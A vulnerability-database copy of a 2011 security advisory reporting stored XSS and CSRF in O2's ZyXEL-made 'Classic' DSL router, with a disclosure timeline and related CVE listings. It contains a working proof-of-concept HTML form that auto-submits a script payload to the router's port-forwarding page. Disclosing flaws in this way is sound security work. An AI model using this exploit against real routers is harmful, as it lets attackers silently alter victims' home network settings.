Lucene search
K

O2 Classic Router Cross Site Request Forgery / Cross Site Scripting

🗓️ 07 Apr 2011 00:00:00Reported by Hanno BoeckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

O2 Classic Router XSS & CSRF Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
CMS Made Simple < 1.7.1 Cross-Site Scripting Vulnerability
7 May 201000:00
nessus
CVE
CVE-2010-1482
12 May 201015:00
cve
CVE
CVE-2011-0746
13 Apr 201114:00
cve
Cvelist
CVE-2010-1482
12 May 201015:00
cvelist
Cvelist
CVE-2011-0746
13 Apr 201114:00
cvelist
EUVD
EUVD-2010-1509
7 Oct 202500:30
euvd
EUVD
EUVD-2011-0758
7 Oct 202500:30
euvd
NVD
CVE-2010-1482
12 May 201016:05
nvd
NVD
CVE-2011-0746
13 Apr 201114:55
nvd
OpenVAS
CMS Made Simple 'admin/editprefs.php' Cross-Site Scripting Vulnerability
10 May 201000:00
openvas
Rows per page
`O2 classic router: persistent cross site scripting (XSS) and cross site  
request forgery (CSRF)  
  
References  
  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1482  
http://int21.de/cve/CVE-2011-0746-o2-router.html  
  
Description  
  
The default DSL router shipped by the german company O2 is completely  
vulnerable to persistent cross site scripting (XSS) and cross site  
request forgery (CSRF). The device is produced by ZyXEL, it seems it  
has no other name than the brand "O2 DSL Router Classic".  
  
As an example, the form at /Forms/PortForwarding_Edit_1 accepts  
javascript code for the parameter PortRule_Name, which will be  
permanently stored. Also, the form has no protection against CSRF.  
  
A sample code that will inject permanent javascript when called by a  
user who is logged into his router:  
  
<form id="form1" method="post"  
action="http://192.168.1.1/Forms/PortForwarding_Edit_1"> <input  
name="PortRule_Name" value='"><script>alert(7)</script>'> <input  
name="PortRule_SPort" value="77"> <input name="PortRule_EPort"  
value="77"> <input name="PortRule_SrvAddr" value="10.0.0.1" >  
<script>  
var frm = document.getElementById("form1");  
frm.submit();  
</script>  
This is just an example, all forms in the router interface are  
vulnerable to CSRF and, if they accept text input, to XSS.  
  
The vulnerability has been disclosed to O2 in advance without any reply.  
  
Disclosure Timeline  
  
2011-02-03: Vendor contacted  
2011-04-07: Published advisory  
  
This vulnerability was discovered by Hanno Boeck, http://www.hboeck.de,  
of schokokeks.org webhosting.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2011 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.00285
53